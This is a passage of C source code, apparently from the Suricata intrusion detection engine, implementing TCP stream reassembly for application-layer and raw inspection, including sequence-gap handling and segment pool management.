#endif
/* if after the first data chunk we have no alproto yet,
* there is no point in continueing here. */
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
SCLogDebug("no alproto after first data chunk");
return 0;
}
return 1;
/* fast path 2: segment acked completely, meets minimal size req for 0copy processing */
} else if (rd->data_len == 0 &&
SEQ_EQ(seg->seq, rd->ra_base_seq+1) &&
SEQ_GT(stream->last_ack, (seg->seq + seg->payload_len)) &&
seg->payload_len >= stream_config.zero_copy_size)
{
/* process single segment directly */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
seg->payload, seg->payload_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
rd->data_sent += seg->payload_len;
rd->ra_base_seq += seg->payload_len;
#ifdef DEBUG
ra_ctx->fp2++;
#endif
/* if after the first data chunk we have no alproto yet,
* there is no point in continueing here. */
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
SCLogDebug("no alproto after first data chunk");
return 0;
}
return 1;
}
#ifdef DEBUG
ra_ctx->sp++;
#endif
uint16_t payload_offset = 0;
uint16_t payload_len = 0;
/* start clean */
rd->partial = FALSE;
/* if the segment ends beyond ra_base_seq we need to consider it */
if (SEQ_GT((seg->seq + seg->payload_len), rd->ra_base_seq+1)) {
SCLogDebug("seg->seq %" PRIu32 ", seg->payload_len %" PRIu32 ", "
"ra_base_seq %" PRIu32 ", last_ack %"PRIu32, seg->seq,
seg->payload_len, rd->ra_base_seq, stream->last_ack);
if (StreamTcpInlineMode() == 0) {
/* handle segments partly before ra_base_seq */
if (SEQ_GT(rd->ra_base_seq, seg->seq)) {
payload_offset = (rd->ra_base_seq + 1) - seg->seq;
SCLogDebug("payload_offset %u", payload_offset);
if (SEQ_LT(stream->last_ack, (seg->seq + seg->payload_len))) {
if (SEQ_LT(stream->last_ack, (rd->ra_base_seq + 1))) {
payload_len = (stream->last_ack - seg->seq);
SCLogDebug("payload_len %u", payload_len);
} else {
payload_len = (stream->last_ack - seg->seq) - payload_offset;
SCLogDebug("payload_len %u", payload_len);
}
rd->partial = TRUE;
} else {
payload_len = seg->payload_len - payload_offset;
SCLogDebug("payload_len %u", payload_len);
}
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
BUG_ON((payload_len + payload_offset) > seg->payload_len);
}
} else {
payload_offset = 0;
if (SEQ_LT(stream->last_ack, (seg->seq + seg->payload_len))) {
payload_len = stream->last_ack - seg->seq;
SCLogDebug("payload_len %u", payload_len);
rd->partial = TRUE;
} else {
payload_len = seg->payload_len;
SCLogDebug("payload_len %u", payload_len);
}
}
/* inline mode, don't consider last_ack as we process un-ACK'd segments */
} else {
/* handle segments partly before ra_base_seq */
if (SEQ_GT(rd->ra_base_seq, seg->seq)) {
payload_offset = rd->ra_base_seq - seg->seq - 1;
payload_len = seg->payload_len - payload_offset;
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
BUG_ON((payload_len + payload_offset) > seg->payload_len);
}
} else {
payload_offset = 0;
payload_len = seg->payload_len;
}
}
SCLogDebug("payload_offset is %"PRIu16", payload_len is %"PRIu16""
" and stream->last_ack is %"PRIu32"", payload_offset,
payload_len, stream->last_ack);
if (payload_len == 0) {
SCLogDebug("no payload_len, so bail out");
return 0;
}
/* copy the data into the smsg */
uint16_t copy_size = sizeof(rd->data) - rd->data_len;
if (copy_size > payload_len) {
copy_size = payload_len;
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(rd->data));
}
SCLogDebug("copy_size is %"PRIu16"", copy_size);
memcpy(rd->data + rd->data_len, seg->payload + payload_offset, copy_size);
rd->data_len += copy_size;
rd->ra_base_seq += copy_size;
SCLogDebug("ra_base_seq %"PRIu32", data_len %"PRIu32, rd->ra_base_seq, rd->data_len);
/* queue the smsg if it's full */
if (rd->data_len == sizeof(rd->data)) {
/* process what we have so far */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
rd->data, rd->data_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
rd->data_sent += rd->data_len;
rd->data_len = 0;
/* if after the first data chunk we have no alproto yet,
* there is no point in continueing here. */
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
SCLogDebug("no alproto after first data chunk");
return 0;
}
}
/* if the payload len is bigger than what we copied, we handle the
* rest of the payload next... */
if (copy_size < payload_len) {
SCLogDebug("copy_size %" PRIu32 " < %" PRIu32 "", copy_size,
payload_len);
payload_offset += copy_size;
payload_len -= copy_size;
SCLogDebug("payload_offset is %"PRIu16", seg->payload_len is "
"%"PRIu16" and stream->last_ack is %"PRIu32"",
payload_offset, seg->payload_len, stream->last_ack);
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
/* we need a while loop here as the packets theoretically can be
* 64k */
char segment_done = FALSE;
while (segment_done == FALSE) {
SCLogDebug("new msg at offset %" PRIu32 ", payload_len "
"%" PRIu32 "", payload_offset, payload_len);
rd->data_len = 0;
copy_size = sizeof(rd->data) - rd->data_len;
if (copy_size > (seg->payload_len - payload_offset)) {
copy_size = (seg->payload_len - payload_offset);
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(rd->data));
}
SCLogDebug("copy payload_offset %" PRIu32 ", data_len "
"%" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, rd->data_len, copy_size);
memcpy(rd->data + rd->data_len, seg->payload +
payload_offset, copy_size);
rd->data_len += copy_size;
rd->ra_base_seq += copy_size;
SCLogDebug("ra_base_seq %"PRIu32, rd->ra_base_seq);
SCLogDebug("copied payload_offset %" PRIu32 ", "
"data_len %" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, rd->data_len, copy_size);
if (rd->data_len == sizeof(rd->data)) {
/* process what we have so far */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
rd->data, rd->data_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
rd->data_sent += rd->data_len;
rd->data_len = 0;
/* if after the first data chunk we have no alproto yet,
* there is no point in continueing here. */
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
SCLogDebug("no alproto after first data chunk");
return 0;
}
}
/* see if we have segment payload left to process */
if ((copy_size + payload_offset) < seg->payload_len) {
payload_offset += copy_size;
payload_len -= copy_size;
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
} else {
payload_offset = 0;
segment_done = TRUE;
}
}
}
}
return 1;
}
/**
* \brief Update the stream reassembly upon receiving an ACK packet.
*
* Stream is in the opposite direction of the packet, as the ACK-packet
* is ACK'ing the stream.
*
* One of the utilities call by this function AppLayerHandleTCPData(),
* has a feature where it will call this very same function for the
* stream opposing the stream it is called with. This shouldn't cause
* any issues, since processing of each stream is independent of the
* other stream.
*
* \todo this function is too long, we need to break it up. It needs it BAD
*/
int StreamTcpReassembleAppLayer (ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream,
Packet *p)
{
SCEnter();
/* this function can be directly called by app layer protocol
* detection. */
if (stream->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) {
SCLogDebug("stream no reassembly flag set. Mostly called via "
"app proto detection.");
SCReturnInt(0);
}
SCLogDebug("stream->seg_list %p", stream->seg_list);
#ifdef DEBUG
PrintList(stream->seg_list);
GetSessionSize(ssn, p);
#endif
/* if no segments are in the list or all are already processed,
* and state is beyond established, we send an empty msg */
TcpSegment *seg_tail = stream->seg_list_tail;
if (seg_tail == NULL ||
(seg_tail->flags & SEGMENTTCP_FLAG_APPLAYER_PROCESSED))
{
/* send an empty EOF msg if we have no segments but TCP state
* is beyond ESTABLISHED */
if (ssn->state >= TCP_CLOSING || (p->flags & PKT_PSEUDO_STREAM_END)) {
SCLogDebug("sending empty eof message");
/* send EOF to app layer */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
NULL, 0,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
SCReturnInt(0);
}
}
/* no segments, nothing to do */
if (stream->seg_list == NULL) {
SCLogDebug("no segments in the list to reassemble");
SCReturnInt(0);
}
if (stream->flags & STREAMTCP_STREAM_FLAG_GAP) {
SCReturnInt(0);
}
/* stream->ra_app_base_seq remains at stream->isn until protocol is
* detected. */
ReassembleData rd;
rd.ra_base_seq = stream->ra_app_base_seq;
rd.data_len = 0;
rd.data_sent = 0;
rd.partial = FALSE;
uint32_t next_seq = rd.ra_base_seq + 1;
SCLogDebug("ra_base_seq %"PRIu32", last_ack %"PRIu32", next_seq %"PRIu32,
rd.ra_base_seq, stream->last_ack, next_seq);
/* loop through the segments and fill one or more msgs */
TcpSegment *seg = stream->seg_list;
SCLogDebug("pre-loop seg %p", seg);
/* Check if we have a gap at the start of the list. If last_ack is
* bigger than the list start and the list start is bigger than
* next_seq, we know we are missing data that has been ack'd. That
* won't get retransmitted, so it's a data gap.
*/
if (!(p->flow->flags & FLOW_NO_APPLAYER_INSPECTION)) {
if (SEQ_GT(seg->seq, next_seq) && SEQ_LT(seg->seq, stream->last_ack)) {
/* send gap signal */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
NULL, 0,
StreamGetAppLayerFlags(ssn, stream, p)|STREAM_GAP);
AppLayerProfilingStore(ra_ctx->app_tctx, p);
/* set a GAP flag and make sure not bothering this stream anymore */
SCLogDebug("STREAMTCP_STREAM_FLAG_GAP set");
stream->flags |= STREAMTCP_STREAM_FLAG_GAP;
StreamTcpSetEvent(p, STREAM_REASSEMBLY_SEQ_GAP);
SCPerfCounterIncr(ra_ctx->counter_tcp_reass_gap, tv->sc_perf_pca);
#ifdef DEBUG
dbg_app_layer_gap++;
#endif
SCReturnInt(0);
}
}
for (; seg != NULL; )
{
/* if in inline mode, we process all segments regardless of whether
* they are ack'd or not. In non-inline, we process only those that
* are at least partly ack'd. */
if (StreamTcpInlineMode() == 0 && SEQ_GEQ(seg->seq, stream->last_ack))
break;
SCLogDebug("seg %p, SEQ %"PRIu32", LEN %"PRIu16", SUM %"PRIu32,
seg, seg->seq, seg->payload_len,
(uint32_t)(seg->seq + seg->payload_len));
if (p->flow->flags & FLOW_NO_APPLAYER_INSPECTION) {
SCLogDebug("FLOW_NO_APPLAYER_INSPECTION set, breaking out");
break;
}
if (StreamTcpReturnSegmentCheck(p->flow, ssn, stream, seg) == 1) {
SCLogDebug("removing segment");
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
continue;
} else if (StreamTcpAppLayerSegmentProcessed(stream, seg)) {
TcpSegment *next_seg = seg->next;
seg = next_seg;
continue;
}
/* check if we have a sequence gap and if so, handle it */
if (DoHandleGap(tv, ra_ctx, ssn, stream, seg, &rd, p, next_seq) == 1)
break;
/* process this segment */
if (DoReassemble(tv, ra_ctx, ssn, stream, seg, &rd, p) == 0)
break;
/* done with this segment, return it to the pool */
TcpSegment *next_seg = seg->next;
next_seq = seg->seq + seg->payload_len;
if (rd.partial == FALSE) {
SCLogDebug("fully done with segment in app layer reassembly (seg %p seq %"PRIu32")",
seg, seg->seq);
seg->flags |= SEGMENTTCP_FLAG_APPLAYER_PROCESSED;
SCLogDebug("flags now %02x", seg->flags);
} else {
SCLogDebug("not yet fully done with segment in app layer reassembly");
}
seg = next_seg;
}
/* put the partly filled smsg in the queue to the l7 handler */
if (rd.data_len > 0) {
SCLogDebug("data_len > 0, %u", rd.data_len);
/* process what we have so far */
BUG_ON(rd.data_len > sizeof(rd.data));
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
rd.data, rd.data_len,
StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
}
/* if no data was sent to the applayer, we send it a empty 'nudge'
* when in inline mode */
if (StreamTcpInlineMode() && rd.data_sent == 0 && ssn->state > TCP_ESTABLISHED) {
SCLogDebug("sending empty eof message");
/* send EOF to app layer */
AppLayerHandleTCPData(tv, ra_ctx, p, p->flow, ssn, stream,
NULL, 0, StreamGetAppLayerFlags(ssn, stream, p));
AppLayerProfilingStore(ra_ctx->app_tctx, p);
}
/* store ra_base_seq in the stream */
if (StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
stream->ra_app_base_seq = rd.ra_base_seq;
} else {
TcpSegment *tmp_seg = stream->seg_list;
while (tmp_seg != NULL) {
tmp_seg->flags &= ~SEGMENTTCP_FLAG_APPLAYER_PROCESSED;
tmp_seg = tmp_seg->next;
}
}
SCLogDebug("stream->ra_app_base_seq %u", stream->ra_app_base_seq);
SCReturnInt(0);
}
typedef struct ReassembleRawData_ {
uint32_t ra_base_seq;
int partial; /* last segment was processed only partially */
StreamMsg *smsg;
uint16_t smsg_offset; // TODO diff with smsg->data_len?
} ReassembleRawData;
static void DoHandleRawGap(TcpSession *ssn, TcpStream *stream, TcpSegment *seg, Packet *p,
ReassembleRawData *rd, uint32_t next_seq)
{
/* we've run into a sequence gap */
if (SEQ_GT(seg->seq, next_seq)) {
/* pass on pre existing smsg (if any) */
if (rd->smsg != NULL && rd->smsg->data_len > 0) {
/* if app layer protocol has not been detected till yet,
then check did we have sent message to app layer already
or not. If not then sent the message and set flag that first
message has been sent. No more data till proto has not
been detected */
StreamTcpStoreStreamChunk(ssn, rd->smsg, p, 0);
stream->ra_raw_base_seq = rd->ra_base_seq;
rd->smsg = NULL;
}
/* see what the length of the gap is, gap length is seg->seq -
* (ra_base_seq +1) */
#ifdef DEBUG
uint32_t gap_len = seg->seq - next_seq;
SCLogDebug("expected next_seq %" PRIu32 ", got %" PRIu32 " , "
"stream->last_ack %" PRIu32 ". Seq gap %" PRIu32"",
next_seq, seg->seq, stream->last_ack, gap_len);
#endif
stream->ra_raw_base_seq = rd->ra_base_seq;
/* We have missed the packet and end host has ack'd it, so
* IDS should advance it's ra_base_seq and should not consider this
* packet any longer, even if it is retransmitted, as end host will
* drop it anyway */
rd->ra_base_seq = seg->seq - 1;
}
}
static int DoRawReassemble(TcpSession *ssn, TcpStream *stream, TcpSegment *seg, Packet *p,
ReassembleRawData *rd)
{
uint16_t payload_offset = 0;
uint16_t payload_len = 0;
/* start clean */
rd->partial = FALSE;
/* if the segment ends beyond ra_base_seq we need to consider it */
if (SEQ_GT((seg->seq + seg->payload_len), rd->ra_base_seq+1)) {
SCLogDebug("seg->seq %" PRIu32 ", seg->payload_len %" PRIu32 ", "
"ra_base_seq %" PRIu32 "", seg->seq,
seg->payload_len, rd->ra_base_seq);
/* handle segments partly before ra_base_seq */
if (SEQ_GT(rd->ra_base_seq, seg->seq)) {
payload_offset = rd->ra_base_seq - seg->seq;
if (SEQ_LT(stream->last_ack, (seg->seq + seg->payload_len))) {
if (SEQ_LT(stream->last_ack, rd->ra_base_seq)) {
payload_len = (stream->last_ack - seg->seq);
} else {
payload_len = (stream->last_ack - seg->seq) - payload_offset;
}
rd->partial = TRUE;
} else {
payload_len = seg->payload_len - payload_offset;
}
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
BUG_ON((payload_len + payload_offset) > seg->payload_len);
}
} else {
payload_offset = 0;
if (SEQ_LT(stream->last_ack, (seg->seq + seg->payload_len))) {
payload_len = stream->last_ack - seg->seq;
rd->partial = TRUE;
} else {
payload_len = seg->payload_len;
}
}
SCLogDebug("payload_offset is %"PRIu16", payload_len is %"PRIu16""
" and stream->last_ack is %"PRIu32"", payload_offset,
payload_len, stream->last_ack);
if (payload_len == 0) {
SCLogDebug("no payload_len, so bail out");
return 1; // TODO
}
if (rd->smsg == NULL) {
rd->smsg = StreamMsgGetFromPool();
if (rd->smsg == NULL) {
SCLogDebug("stream_msg_pool is empty");
return -1;
}
rd->smsg_offset = 0;
StreamTcpSetupMsg(ssn, stream, p, rd->smsg);
rd->smsg->seq = rd->ra_base_seq + 1;
SCLogDebug("smsg->seq %u", rd->smsg->seq);
}
/* copy the data into the smsg */
uint16_t copy_size = sizeof (rd->smsg->data) - rd->smsg_offset;
if (copy_size > payload_len) {
copy_size = payload_len;
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(rd->smsg->data));
}
SCLogDebug("copy_size is %"PRIu16"", copy_size);
memcpy(rd->smsg->data + rd->smsg_offset, seg->payload + payload_offset,
copy_size);
rd->smsg_offset += copy_size;
rd->ra_base_seq += copy_size;
SCLogDebug("ra_base_seq %"PRIu32, rd->ra_base_seq);
rd->smsg->data_len += copy_size;
/* queue the smsg if it's full */
if (rd->smsg->data_len == sizeof (rd->smsg->data)) {
StreamTcpStoreStreamChunk(ssn, rd->smsg, p, 0);
stream->ra_raw_base_seq = rd->ra_base_seq;
rd->smsg = NULL;
}
/* if the payload len is bigger than what we copied, we handle the
* rest of the payload next... */
if (copy_size < payload_len) {
SCLogDebug("copy_size %" PRIu32 " < %" PRIu32 "", copy_size,
payload_len);
payload_offset += copy_size;
payload_len -= copy_size;
SCLogDebug("payload_offset is %"PRIu16", seg->payload_len is "
"%"PRIu16" and stream->last_ack is %"PRIu32"",
payload_offset, seg->payload_len, stream->last_ack);
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
/* we need a while loop here as the packets theoretically can be
* 64k */
char segment_done = FALSE;
while (segment_done == FALSE) {
SCLogDebug("new msg at offset %" PRIu32 ", payload_len "
"%" PRIu32 "", payload_offset, payload_len);
/* get a new message
XXX we need a setup function */
rd->smsg = StreamMsgGetFromPool();
if (rd->smsg == NULL) {
SCLogDebug("stream_msg_pool is empty");
SCReturnInt(-1);
}
rd->smsg_offset = 0;
StreamTcpSetupMsg(ssn, stream, p, rd->smsg);
rd->smsg->seq = rd->ra_base_seq + 1;
copy_size = sizeof(rd->smsg->data) - rd->smsg_offset;
if (copy_size > payload_len) {
copy_size = payload_len;
}
if (SCLogDebugEnabled()) {
BUG_ON(copy_size > sizeof(rd->smsg->data));
}
SCLogDebug("copy payload_offset %" PRIu32 ", smsg_offset "
"%" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, rd->smsg_offset, copy_size);
memcpy(rd->smsg->data + rd->smsg_offset, seg->payload +
payload_offset, copy_size);
rd->smsg_offset += copy_size;
rd->ra_base_seq += copy_size;
SCLogDebug("ra_base_seq %"PRIu32, rd->ra_base_seq);
rd->smsg->data_len += copy_size;
SCLogDebug("copied payload_offset %" PRIu32 ", "
"smsg_offset %" PRIu32 ", copy_size %" PRIu32 "",
payload_offset, rd->smsg_offset, copy_size);
if (rd->smsg->data_len == sizeof(rd->smsg->data)) {
StreamTcpStoreStreamChunk(ssn, rd->smsg, p, 0);
stream->ra_raw_base_seq = rd->ra_base_seq;
rd->smsg = NULL;
}
/* see if we have segment payload left to process */
if (copy_size < payload_len) {
payload_offset += copy_size;
payload_len -= copy_size;
if (SCLogDebugEnabled()) {
BUG_ON(payload_offset > seg->payload_len);
}
} else {
payload_offset = 0;
segment_done = TRUE;
}
}
}
}
return 1;
}
/**
* \brief Update the stream reassembly upon receiving an ACK packet.
* \todo this function is too long, we need to break it up. It needs it BAD
*/
static int StreamTcpReassembleRaw (TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream, Packet *p)
{
SCEnter();
SCLogDebug("start p %p", p);
if (ssn->flags & STREAMTCP_FLAG_DISABLE_RAW)
SCReturnInt(0);
if (stream->seg_list == NULL) {
SCLogDebug("no segments in the list to reassemble");
SCReturnInt(0);
}
#if 0
if (ssn->state <= TCP_ESTABLISHED &&
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(stream)) {
SCLogDebug("only starting raw reassembly after app layer protocol "
"detection has completed.");
SCReturnInt(0);
}
#endif
/* check if we have enough data */
if (StreamTcpReassembleRawCheckLimit(ssn,stream,p) == 0) {
SCLogDebug("not yet reassembling");
SCReturnInt(0);
}
TcpSegment *seg = stream->seg_list;
ReassembleRawData rd;
rd.smsg = NULL;
rd.ra_base_seq = stream->ra_raw_base_seq;
rd.smsg_offset = 0;
uint32_t next_seq = rd.ra_base_seq + 1;
SCLogDebug("ra_base_seq %"PRIu32", last_ack %"PRIu32", next_seq %"PRIu32,
rd.ra_base_seq, stream->last_ack, next_seq);
/* loop through the segments and fill one or more msgs */
for (; seg != NULL && SEQ_LT(seg->seq, stream->last_ack);)
{
SCLogDebug("seg %p, SEQ %"PRIu32", LEN %"PRIu16", SUM %"PRIu32", flags %02x",
seg, seg->seq, seg->payload_len,
(uint32_t)(seg->seq + seg->payload_len), seg->flags);
if (StreamTcpReturnSegmentCheck(p->flow, ssn, stream, seg) == 1) {
SCLogDebug("removing segment");
TcpSegment *next_seg = seg->next;
StreamTcpRemoveSegmentFromStream(stream, seg);
StreamTcpSegmentReturntoPool(seg);
seg = next_seg;
continue;
} else if(seg->flags & SEGMENTTCP_FLAG_RAW_PROCESSED) {
TcpSegment *next_seg = seg->next;
seg = next_seg;
continue;
}
DoHandleRawGap(ssn, stream, seg, p, &rd, next_seq);
if (DoRawReassemble(ssn, stream, seg, p, &rd) == 0)
break;
/* done with this segment, return it to the pool */
TcpSegment *next_seg = seg->next;
next_seq = seg->seq + seg->payload_len;
if (rd.partial == FALSE) {
SCLogDebug("fully done with segment in raw reassembly (seg %p seq %"PRIu32")",
seg, seg->seq);
seg->flags |= SEGMENTTCP_FLAG_RAW_PROCESSED;
SCLogDebug("flags now %02x", seg->flags);
} else {
SCLogDebug("not yet fully done with segment in raw reassembly");
}
seg = next_seg;
}
/* put the partly filled smsg in the queue to the l7 handler */
if (rd.smsg != NULL) {
StreamTcpStoreStreamChunk(ssn, rd.smsg, p, 0);
rd.smsg = NULL;
stream->ra_raw_base_seq = rd.ra_base_seq;
}
SCReturnInt(0);
}
/** \brief update app layer and raw reassembly
*
* \retval r 0 on success, -1 on error
*/
int StreamTcpReassembleHandleSegmentUpdateACK (ThreadVars *tv,
TcpReassemblyThreadCtx *ra_ctx, TcpSession *ssn, TcpStream *stream, Packet *p)
{
SCEnter();
SCLogDebug("stream->seg_list %p", stream->seg_list);
int r = 0;
if (!(StreamTcpInlineMode())) {
if (StreamTcpReassembleAppLayer(tv, ra_ctx, ssn, stream, p) < 0)
r = -1;
if (StreamTcpReassembleRaw(ra_ctx, ssn, stream, p) < 0)
r = -1;
}
SCLogDebug("stream->seg_list %p", stream->seg_list);
SCReturnInt(r);
}
int StreamTcpReassembleHandleSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx,
TcpSession *ssn, TcpStream *stream,
Packet *p, PacketQueue *pq)
{
SCEnter();
SCLogDebug("ssn %p, stream %p, p %p, p->payload_len %"PRIu16"",
ssn, stream, p, p->payload_len);
/* we need to update the opposing stream in
* StreamTcpReassembleHandleSegmentUpdateACK */
TcpStream *opposing_stream = NULL;
if (stream == &ssn->client) {
opposing_stream = &ssn->server;
} else {
opposing_stream = &ssn->client;
}
/* handle ack received */
if (StreamTcpReassembleHandleSegmentUpdateACK(tv, ra_ctx, ssn, opposing_stream, p) != 0)
{
SCLogDebug("StreamTcpReassembleHandleSegmentUpdateACK error");
SCReturnInt(-1);
}
/* If no stream reassembly/application layer protocol inspection, then
simple return */
if (p->payload_len > 0 && !(stream->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY)) {
SCLogDebug("calling StreamTcpReassembleHandleSegmentHandleData");
if (StreamTcpReassembleHandleSegmentHandleData(tv, ra_ctx, ssn, stream, p) != 0) {
SCLogDebug("StreamTcpReassembleHandleSegmentHandleData error");
SCReturnInt(-1);
}
p->flags |= PKT_STREAM_ADD;
}
/* in stream inline mode even if we have no data we call the reassembly
* functions to handle EOF */
if (StreamTcpInlineMode()) {
int r = 0;
if (StreamTcpReassembleAppLayer(tv, ra_ctx, ssn, stream, p) < 0)
r = -1;
if (StreamTcpReassembleInlineRaw(ra_ctx, ssn, stream, p) < 0)
r = -1;
if (r < 0) {
SCReturnInt(-1);
}
}
StreamTcpReassembleMemuseCounter(tv, ra_ctx);
SCReturnInt(0);
}
/**
* \brief Function to replace the data from a specific point up to given length.
*
* \param dst_seg Destination segment to replace the data
* \param src_seg Source segment of which data is to be written to destination
* \param start_point Starting point to replace the data onwards
* \param len Length up to which data is need to be replaced
*
* \todo VJ We can remove the abort()s later.
* \todo VJ Why not memcpy?
*/
void StreamTcpSegmentDataReplace(TcpSegment *dst_seg, TcpSegment *src_seg,
uint32_t start_point, uint16_t len)
{
uint32_t seq;
uint16_t src_pos = 0;
uint16_t dst_pos = 0;
SCLogDebug("start_point %u", start_point);
if (SEQ_GT(start_point, dst_seg->seq)) {
dst_pos = start_point - dst_seg->seq;
} else if (SEQ_LT(start_point, dst_seg->seq)) {
dst_pos = dst_seg->seq - start_point;
}
if (SCLogDebugEnabled()) {
BUG_ON(((len + dst_pos) - 1) > dst_seg->payload_len);
} else {
if (((len + dst_pos) - 1) > dst_seg->payload_len)
return;
}
src_pos = (uint16_t)(start_point - src_seg->seq);
SCLogDebug("Replacing data from dst_pos %"PRIu16"", dst_pos);
for (seq = start_point; SEQ_LT(seq, (start_point + len)) &&
src_pos < src_seg->payload_len && dst_pos < dst_seg->payload_len;
seq++, dst_pos++, src_pos++)
{
dst_seg->payload[dst_pos] = src_seg->payload[src_pos];
}
SCLogDebug("Replaced data of size %"PRIu16" up to src_pos %"PRIu16
" dst_pos %"PRIu16, len, src_pos, dst_pos);
}
/**
* \brief Function to compare the data from a specific point up to given length.
*
* \param dst_seg Destination segment to compare the data
* \param src_seg Source segment of which data is to be compared to destination
* \param start_point Starting point to compare the data onwards
* \param len Length up to which data is need to be compared
*
* \retval 1 same
* \retval 0 different
*/
static int StreamTcpSegmentDataCompare(TcpSegment *dst_seg, TcpSegment *src_seg,
uint32_t start_point, uint16_t len)
{
uint32_t seq;
uint16_t src_pos = 0;
uint16_t dst_pos = 0;
SCLogDebug("start_point %u dst_seg %u src_seg %u", start_point, dst_seg->seq, src_seg->seq);
if (SEQ_GT(start_point, dst_seg->seq)) {
SCLogDebug("start_point %u > dst %u", start_point, dst_seg->seq);
dst_pos = start_point - dst_seg->seq;
} else if (SEQ_LT(start_point, dst_seg->seq)) {
SCLogDebug("start_point %u < dst %u", start_point, dst_seg->seq);
dst_pos = dst_seg->seq - start_point;
}
if (SCLogDebugEnabled()) {
BUG_ON(((len + dst_pos) - 1) > dst_seg->payload_len);
} else {
if (((len + dst_pos) - 1) > dst_seg->payload_len)
return 1;
}
src_pos = (uint16_t)(start_point - src_seg->seq);
SCLogDebug("Comparing data from dst_pos %"PRIu16", src_pos %u", dst_pos, src_pos);
for (seq = start_point; SEQ_LT(seq, (start_point + len)) &&
src_pos < src_seg->payload_len && dst_pos < dst_seg->payload_len;
seq++, dst_pos++, src_pos++)
{
if (dst_seg->payload[dst_pos] != src_seg->payload[src_pos]) {
SCLogDebug("data is different %02x != %02x, dst_pos %u, src_pos %u", dst_seg->payload[dst_pos], src_seg->payload[src_pos], dst_pos, src_pos);
return 0;
}
}
SCLogDebug("Compared data of size %"PRIu16" up to src_pos %"PRIu16
" dst_pos %"PRIu16, len, src_pos, dst_pos);
return 1;
}
/**
* \brief Function to copy the data from src_seg to dst_seg.
*
* \param dst_seg Destination segment for copying the contents
* \param src_seg Source segment to copy its contents
*
* \todo VJ wouldn't a memcpy be more appropriate here?
*
* \warning Both segments need to be properly initialized.
*/
void StreamTcpSegmentDataCopy(TcpSegment *dst_seg, TcpSegment *src_seg)
{
uint32_t u;
uint16_t dst_pos = 0;
uint16_t src_pos = 0;
uint32_t seq;
if (SEQ_GT(dst_seg->seq, src_seg->seq)) {
src_pos = dst_seg->seq - src_seg->seq;
seq = dst_seg->seq;
} else {
dst_pos = src_seg->seq - dst_seg->seq;
seq = src_seg->seq;
}
SCLogDebug("Copying data from seq %"PRIu32"", seq);
for (u = seq;
(SEQ_LT(u, (src_seg->seq + src_seg->payload_len)) &&
SEQ_LT(u, (dst_seg->seq + dst_seg->payload_len))); u++)
{
//SCLogDebug("u %"PRIu32, u);
dst_seg->payload[dst_pos] = src_seg->payload[src_pos];
dst_pos++;
src_pos++;
}
SCLogDebug("Copyied data of size %"PRIu16" up to dst_pos %"PRIu16"",
src_pos, dst_pos);
}
/**
* \brief Function to get the segment of required length from the pool.
*
* \param len Length which tells the required size of needed segment.
*
* \retval seg Segment from the pool or NULL
*/
TcpSegment* StreamTcpGetSegment(ThreadVars *tv, TcpReassemblyThreadCtx *ra_ctx, uint16_t len)
{
uint16_t idx = segment_pool_idx[len];
SCLogDebug("segment_pool_idx %" PRIu32 " for payload_len %" PRIu32 "",
idx, len);
SCMutexLock(&segment_pool_mutex[idx]);
TcpSegment *seg = (TcpSegment *) PoolGet(segment_pool[idx]);
SCLogDebug("segment_pool[%u]->empty_stack_size %u, segment_pool[%u]->alloc_"
"list_size %u, alloc %u", idx, segment_pool[idx]->empty_stack_size,
idx, segment_pool[idx]->alloc_stack_size,
segment_pool[idx]->allocated);
SCMutexUnlock(&segment_pool_mutex[idx]);
SCLogDebug("seg we return is %p", seg);
if (seg == NULL) {
SCLogDebug("segment_pool[%u]->empty_stack_size %u, "
"alloc %u", idx, segment_pool[idx]->empty_stack_size,
segment_pool[idx]->allocated);
/* Increment the counter to show that we are not able to serve the
segment request due to memcap limit */
SCPerfCounterIncr(ra_ctx->counter_tcp_segment_memcap, tv->sc_perf_pca);
} else {
seg->flags = stream_config.segment_init_flags;
seg->next = NULL;
seg->prev = NULL;
}
#ifdef DEBUG
SCMutexLock(&segment_pool_cnt_mutex);
segment_pool_cnt++;
